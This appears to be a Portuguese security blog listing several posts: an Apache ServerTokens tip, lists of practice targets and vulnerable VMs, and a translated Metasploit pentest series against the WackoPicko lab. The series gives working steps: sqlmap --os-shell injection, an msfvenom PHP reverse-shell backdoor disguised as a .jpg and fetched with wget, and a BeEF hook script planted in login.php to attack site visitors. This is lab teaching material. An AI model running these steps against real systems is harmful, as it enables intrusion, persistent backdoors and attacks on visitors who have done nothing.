vi httpd.conf
ServerTokens Prod

Segue abaixo alguns possíveis valores:

ServerTokens Prod displays “Server: Apache”
ServerTokens Major displays “Server: Apache/2″
ServerTokens Minor displays “Server: Apache/2.2″
ServerTokens Min displays “Server: Apache/2.2.17″
ServerTokens OS displays “Server: Apache/2.2.17 (Unix)”
ServerTokens Full displays “Server: Apache/2.2.17 (Unix) PHP/5.3.5″ (Se você não especificar nenhum ServerTokens este será o valor padrão)

Fonte: r00tsec

Read More

Invadindo Sem Ir Para a Cadeia [3]

E vamos a ultima parte da série "Invadindo Sem Ir Para a Cadeia", hoje com alguns sites hospedados normalmente por grandes empresas desenvolvedoras de tools para pentest, onde você pode brincar com as ferramentas em um site real e funcional e realmente hospedado na internet e 100% público, e então vamos a eles:

Acunetix:
http://testasp.vulnweb.com (Forum - ASP)
http://testaspnet.vulnweb.com (Blog - .NET)
http://testphp.vulnweb.com (Art shopping - PHP)
Cenzic CrackMeBank: http://crackme.cenzic.com
Google Gruyere (Python): http://google-gruyere.appspot.com/start
Hacking-Lab (eg. OWASP Top 10): https://www.hacking-lab.com/events/registerform.html?eventid=245
Hack.me (beta): https://hack.me
HackThisSite (HTS - Basic & Realistic (web) Missions): http://www.hackthissite.org
Hackxor online demo: http://hackxor.sourceforge.net/cgi-bin/index.pl#demo (algo/smurf)
HP/SpiDynamics Free Bank Online: http://zero.webappsecurity.com (admin/admin)
IBM/Watchfire AltoroMutual: http://demo.testfire.net (jsmith/Demo1234)
NTOSpider Web Scanner Test Site: http://www.webscantest.com (testuser/testpass)
OWASP Hackademic Challenges Project - Live (PHP - Joomla): http://hackademic1.teilar.gr

E era isso!

Com todo essa gama de vm's, sites hospedados ou não, você vai adquirir conhecimentos suficientes para se considerar um conhecedor de falhas em aplicações web, mas lembre-se novas vulnerabilidades são descobertas todos os dias, então não deixe de estudar nunca. E cuidado com o que você faz com esse conhecimento. Eu fico por aqui mas ainda temos muito estudo pela frente.

Bons estudos ;)

Read More

Invadindo Sem Ir para a Cadeia [2]

E ai galera!

Continuando com essa série de posts vamos ver hoje algumas vm's vulneráveis para testar seus conhecimentos em sistemas, falhas de servidores e clientes. Todas as vm's podem ser usadas em qualquer programa, mas eu indico o Virtual Box, o melhor gerenciador de vm's gratuito que temos por ai.

Do mesmo modo que o post anterior as vm's tem vulnerabilidades diferentes então recomendo que baixe e teste a maior quantidade de vm's para ficar por dentro das falhas.

BadStore (ISO): http://www.badstore.net (download - registration required)
OWASP BWA - Broken Web Applications Project (VMware - list):https://www.owasp.org/index.php/OWASP_Broken_Web_Applications_Project
Drunk Admin Web Hacking Challenge (VMware): https://bechtsoudis.com/work-stuff/challenges/drunk-admin-web-hacking-challenge/ (download)
Exploit.co.il Vuln Web App (VMware): http://exploit.co.il/projects/vuln-web-app/ (download)
GameOver (VMware): http://sourceforge.net/projects/null-gameover/ (download)
Hackxor (VMware): http://hackxor.sourceforge.net/cgi-bin/index.pl (download) (hints&tips)
Kioptrix4 (VMware & Hyper-V): http://www.kioptrix.com/blog/?p=604 (download)
LAMPSecurity (VMware): http://sourceforge.net/projects/lampsecurity/ (download) (doc)
Metasploitable (VMware): http://blog.metasploit.com/2010/05/introducing-metasploitable.html (download - torrent) (doc)
Metasploitable 2 (VMware): https://community.rapid7.com/docs/DOC-1875 (download)
Moth (VMware): http://www.bonsai-sec.com/en/research/moth.php (download)
Samurai WTF (ISO - list): http://www.samurai-wtf.org (download)
Sauron (Quemu) [Spanish]: http://sg6-labs.blogspot.com/2007/12/secgame-1-sauron.html(solutions)
Virtual Hacking Lab (ZIP): http://sourceforge.net/projects/virtualhacking/ (download)
Web Security Dojo (VMware, VirtualBox - list):http://www.mavensecurity.com/web_security_dojo/ (download)

E era isso!

Divirtam-se e aguardem que por ai vem pelo menos mais um post sobre o assunto.

Read More

Pentest em Sites, Post Extra

E ai pessoal!

Hoje vou postar um extra que estava no paper, além de atacar e dominar o site, além de tomar o controle do servidor, vamos agora um pouco mais além. Vamos usar o BeEF (Browser Exploit Framework) para atacar os visitantes que acessam nosso site infectado. E vamos lá!

1. Inicie o beef

root@bt:/pentest/web/beef# ./beef -x -v

2. No site do Metasploit, baixe o plugin do BeEF para o Metasploit no link “https://github.com/xntrik/beefmetasploitplugin.git”

$ cd /pentest/exploits/framework/msf3
$ git clone https://github.com/xntrik/beefmetasploitplugin.git
Initialized empty Git repository in /opt/metasploit/msf3/beefmetasploitplugin/.git/

3. Mova os arquivos beef.rb para msf/plugins e lib/beef para msf/lib

$ root@bt:/pentest/exploits/framework/msf3# mv beefmetasploitplugin/lib/beef lib/
$ root@bt:/pentest/exploits/framework/msf3# mv beefmetasploitplugin/plugins/beef.rb plugins/

4. Instale hpricot,json e gem

$ root@bt:/pentest/exploits/framework/msf3# gem install hpricot json

5. No console do Metasploit, carregue o plugin do BeEF.

msf > load beef

6.Conecte no BeEF

msf > beef_connect

msf > beef_connect http://127.0.0.1:3000 beef beef

7. Neste passo, vamos habilitar para que o script do BeEF seja executado em todos os clientes que acessarem a página. Voltando um pouco para a shell meterpeter no ultimo passo do ataque com o sqlmap, baixe o arquivo login.php e adicione o script "<script src='http://192.168.77.137:3000/hook.js></script>" no arquivo e faça o upload novamente.

meterpreter > download login.php .
[*] downloading: login.php -> ./login.php
[*] downloaded : login.php -> ./login.php

root@bt:~# echo "<script src='http://192.168.77.137:3000/hook.js></script>" >> login.php
meterpreter > upload login.php .
[*] uploading : login.php -> .
[*] uploaded : login.php -> ./login.php meterpreter >

Agora, quando a vitima acessar o site ela vai rodar o script do BeEF.



8. Vá para a interface web de gerenciamento do BeEF (http://127.0.0.1:3000/ui/panel), e logue com o usuário “beef” e senha “beef”:

9. Se alguém visitar a página login.php, ela será atacada pelo BeEF e no seu painel você pode ver a lista dos que já foram atacados.

Se você quiser ver informações detalhadas clique em cima da vítima que as informações serão apresentadas do lado direito da tela.

Estas informações também podem ser vistas no terminal, no console do Metasploit usando o seguinte comando:

msf > beef_online

E para detalhes use o comando:

msf > beef_targetmsf > beef_target -i 0

Após levantarmos todas essas informações vamos utilizar o seguinte comando:

msf > beef_target -c 0 47

Após isso, estaremos usando o Man-in-The-Browser na vítima.

E com isso finalizamos o paper! Aprendemos aqui um método de fazer todo o processo de scan, levantamento de informações, analise de vulnerabilidades e um ataque um tanto quanto elaborado, resultando em um site "ownado", um server em nosso poder e todos, ou boa parte dos visitantes infectados assim que acessarem o site.

Agora é com vocês aprimorar essas técnicas, mas cuidado, conhecimento não é crime, o uso que você pode dar para ele pode ser ;)

Bons estudos!

Read More

Pentest em Sites com Metasploit Parte 4

Olá pessoal!

Depois de algum tempo voltei para finalizar essa série de posts. Estava meio ocupado e acabei deixando de lado este paper, mas vamos finalizar isso agora! Neste post vamos ver como criar um backdoor para facilitar o acesso a máquina comprometida com o msfvenom, presente no Metasploit.

Vamos usar o comando msfvenom para criar o backdoor:

root@bt:~# msfvenom
no options
Usage: /opt/metasploit/msf3/msfvenom [options] <var=val>

Options:
-p, --payload [payload] Payload to use. Specify a '-' or stdin to use custom payloads
-l, --list [module_type] List a module type example: payloads, encoders, nops, all


-n, --nopsled [length] Prepend a nopsled of [length] size on to the payload
-f, --format [format] Output format (use --help-formats for a list)
-e, --encoder [encoder] The encoder to use
-a, --arch [architecture] The architecture to use
--platform [platform] The platform of the payload
-s, --space [length] The maximum size of the resulting payload
-b, --bad-chars [list] The list of characters to avoid example: '\x00\xff'

-i, --iterations [count] The number of times to encode the payload

-c, --add-code [path] Specify an additional win32 shellcode file to include
-x, --template [path] Specify a custom executable file to use as a template
-k, --keep Preserve the template behavior and inject the payload as a new thread
-o, --options List the payload's standard options
-h, --help Show this message

root@bt:~# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.77.137 LPORT=443 -f raw > /var/www/bd.php

root@bt:~# mv /var/www/bd.php /var/www/bd.jpg

Na máquina alvo, baixe o backdoor e renomeie para db.php:

os-shell> wget http://192.168.77.137/bd.jpg

do you want to retrieve the command standard output? [Y/n/a] Y command standard output:
---
--2012-08-26 23:47:21-- http://192.168.77.137/bd.php Connecting to 192.168.77.137:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [text/html]
Saving to: `bd.php'



0K 100% 2.04M=0s 2012-08-26 23:47:21 (2.04 MB/s) - `bd.php' saved [10/10]
---
os-shell> pwd
do you want to retrieve the command standard output? [Y/n/a] y command standard output: '/owaspbwa/owaspbwa- svn/var/www/WackoPicko/users'
os-shell> mv bd.jpg bd.php
do you want to retrieve the command standard output? [Y/n/a] y
No output

Crie um handler e espere a conexão:

root@bt:~# msfcli multi/handler PAYLOAD=php/meterpreter/reverse_tcp LHOST=192.168.77.137 LPORT=443 E
[*] Please wait while we load the module tree...
IIIIII dTb.dTb _.---._ II 4' v 'B .'"".'/|`.""'.
II 6. .P:.'/|`.: II 'T;. .;P' '.' / | `.'
II 'T;;P' `./ | .' IIIIII 'YvP' `-.__|__.-'
I love shells --egypt
=[ metasploit v4.5.0-dev [core:4.5 api:1.0]



+ -- --=[ 932 exploits - 499 auxiliary - 151 post + -- --=[ 251 payloads - 28 encoders - 8 nops
=[ svn r15753 updated 11 days ago (2012.08.16)
Warning: This copy of the Metasploit Framework was last updated 11 days ago. We recommend that you update the framework at least every other day. For information on updating your copy of Metasploit, please see:
https://community.rapid7.com/docs/DOC-1306
PAYLOAD => php/meterpreter/reverse_tcp LHOST => 192.168.77.137
LPORT => 443


[*] Started reverse handler on 192.168.77.137:443 [*] Starting the payload handler...

Rode o backdoor no browser e você receberá o Meterpreter no console:

E era isso! Agora você pode fazer o que quiser com o site e o server.

Tudo que foi mostrado nessa série de posts pertencem ao Sumedt Jitpukdebodin, conteúdo para propósitos de estudo, cuidado com o que você faz...

Read More

Pentest em Sites com Metasploit Parte 3

Seguindo pessoal com o paper, nesse post vamos ver alguns ataques que podemos fazer ao site com e sem o Metasploit.

SQL Injection com Metasploit

Se você quer testar se um parâmetro tem alguma vulnerabilidade de SQL Injection ou não, também podemos testar com o Metasploit. Usarei o módulo auxiliary/scanner/http/blind_qsl_query para este teste.

1. Depois do scan com o plugin WMAP, descobrimos que a url http://10.12.0.2/WackoPicko/website/users/login.php tem uma vulnerabilidade de SQL Injection e tem 2 parâmetros: username e password. Agora vamos testar esse parâmetro com o móduloauxiliary/scanner/http/blind_sql_query module.

msf > use auxiliary/scanner/http/blind_sql_query
msf auxiliary(blind_sql_query) > show options

2.Especifique o ambiente da página alvo.

msf auxiliary(blind_sql_query) > set DATA username=hacker&password=password&submit=login
msf auxiliary(blind_sql_query) > set METHOD POST

msf auxiliary(blind_sql_query) > set PATH /WackoPicko/users/login.php
msf auxiliary(blind_sql_query) > set RHOSTS 192.168.77.138

3. Inicie o teste.

msf auxiliary(blind_sql_query) > run

O resultado é que o parâmetro “username” está mesmo vulnerável a SQL Injection. Temos também outro módulo, que usa a técnica "Error Based" no diretório auxiliary/scanner/http/error_sql_injection.

Já que temos uma vulnerabilidade no parâmetro “username” em users/login.php, podemos usar essa vulnerabilidade para invadir o site com uma tool fora do Metasploit, o SQLMap. O SQLMap é muito famoso e funciona muito bem com o Metasploit.

1. Usaremos 3 flags do sqlmap para este ataque:

-u URL URL do alvo
-data=DATA String que será mandada através do POST
-random-agent Usar "user agent" aleatóriamente
--os-shell Receber o shell do alvo como resposta da requisição

2. Agora, vamos rodar o sqlmap com os detalhes que temos. Após o comando, se o usuário usado nessa aplicação tiver privilégios suficientes, você receberá a shell.

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://192.168.77.138/WackoPicko/users/login.php" --data "username=hacker&password=password&submit=login" --os-shell

E ai está!

Se tudo deu certo, nesse ponto temos a shell do alvo. Paramos por aqui e no próximo post vamos ver como criar um backdoor com o Metasploit para facilitar nosso trabalho de voltar a shell da vítima quando necessário.

Read More

Pentest em Sites com Metasploit parte 2

E ai pessoal!

Vamos a próxima fase do paper, a fase de exploração!

Nessa fase, vamos tentar atacar com um módulo de scanner de vulnerabilidades do Metasploit.
WMAP Plugin.


WMAP é um framework para scan de aplicações web para o Metasploit. A arquitetura é simples e é essa simplicidade que o faz funcional. É uma abordagem diferente comparado com os scanners open source que temos por ai, usaremos esse módulo para escanear o site em busca de vulnerabilidades.

1. Carregue o módulo do WMAP:

msf auxiliary(crawler) > load wmap

2. Na fase de escaneamento, nós já passamos um crawler e temos toda a informação no banco de dados. O plugin WMAP pode ler a estrutura da aplicação. Você pode ler detalhes da aplicação com o comando wmap_sites.

msf auxiliary(crawler) > wmap_sites

msf auxiliary(crawler) > wmap_sites -l

3. Se você quiser ver a estrutura da aplicação, você pode usar o comando wmap_sites -s [target_id]:

msf auxiliary(crawler) > wmap_sites -s 0

4. Agora que estamos prontos, só precisamos especificar o alvo com o comando wmap_targets:

msf auxiliary(crawler) > wmap_targets 

msf auxiliary(crawler) > wmap_targets -t

5. Inicie o scan com o comando wmap_run:

msf auxiliary(crawler) > wmap_run

msf auxiliary(crawler) > wmap_run -e

6. Após finalizar o scan você pode checar os resultados com o comando wmap_vulns:

msf auxiliary(crawler) > wmap_vulns -l

Como resultado, encontramos algumas vulnerabilidades na aplicação web como por exemplo “sensitive file or directory”, “admin directory”, “back up directory”, “SQL Injection vulnerability page”, etc. Agora podemos atacar elas para vermos um resultado.

E paramos por aqui por hoje, na próxima parte, vamos usar algumas tools e módulos do Metasploit para atacar essas falhas todas que encontramos.

Até a próxima!

Read More

Pentest em Sites com Metasploit Parte 1

E ai galera!

Estou trazendo para vocês uma tradução/adaptação do paper do Sumedt Jitpukdebodin, do Packet Storm Security, que explica como fazer um pentest completo praticamente só com o metasploit, achei interessante e venho compartilhar com vocês. Como são 24 páginas, eu vou separar em partes e postar aqui em umas 3 ou 4 partes para facilitar. E vamos lá!

Normalmente, Pentesters ou Hackers usam o Metasploit para exploitar serviços vulneráveis no servidor do alvo, ou criar um payload para usar como backdoor no alvo. Mas o Metasploit melhorou muitos plugins e módulos, e agora pode fazer mais que isso. Pode ser usado para pentest em aplicações web também.

Nesse artigo, vou mostrar como pode se usar o Metasploit para escanear o servidor web em busca de informações e usar o Metasploit para testar a aplicação.

Cenário

Neste artigo, vamos tentar atacar um cliente que tem um servidor vulnerável. Para isso usaremos:

1. Atacante - Backtrack 5 R3

2. Alvo – WackoPicko web application(um dos sites do OWASP Broken Web Application v1.0)

Fase de Escaneamentos

Primeiro passo de um pentest, você precisa adquirir o máximo de informação possível do alvo. Para isso, vamos escanear o servidor.

O Metasploit tem o "db_nmap", um módulo que usa o nmap para escanear o site e com o resultado, coloca em um banco de dados para manter todas as informações.

1. Abra o terminal e digite:

root@bt:/# msfconsole

2. Assim que o console do Metasploit carregar use o comando db_nmap com o ip do alvo.

msf > db_nmap ip [opções]
msf > db_nmap 10.12.0.2

3. Podemos checar o resultado do scan a qualquer hora com o comando hosts:

msf > hosts -h

msf> hosts

4. Você pode usar o comando "services" para receber detalhes dos serviços rodando no alvo. Este comando tem as seguintes colunas: “created_at, info, name, port, proto, state, updated_at” .

msf > services -h

msf > services

msf> services -c port,name,state

Olhando meio rápido, o resultado mostrou que o alvo pode ter um servidor web. Metasploit tem um módulo crawling também.

1. Selecione no diretório auxiliary/scanner/http/crawler.

msf> use auxiliary/scanner/http/crawler 

2. Especifique o alvo no RHOST.

msf auxiliary(crawler) > set RHOST 10.12.0.2
Neste artigo, estamos focados no WAckoPicko Web Application, então vamos especificar o caminho no URI.
msf auxiliary(crawler) > set URI /WackoPicko/website/

3. Inicie o crawler:

msf auxiliary(crawler) > run 

Nesta fase, você pode adquirir informações do servidor e da aplicação que está rodando. Na próxima fase vamos usar essa informação para atacar.

Read More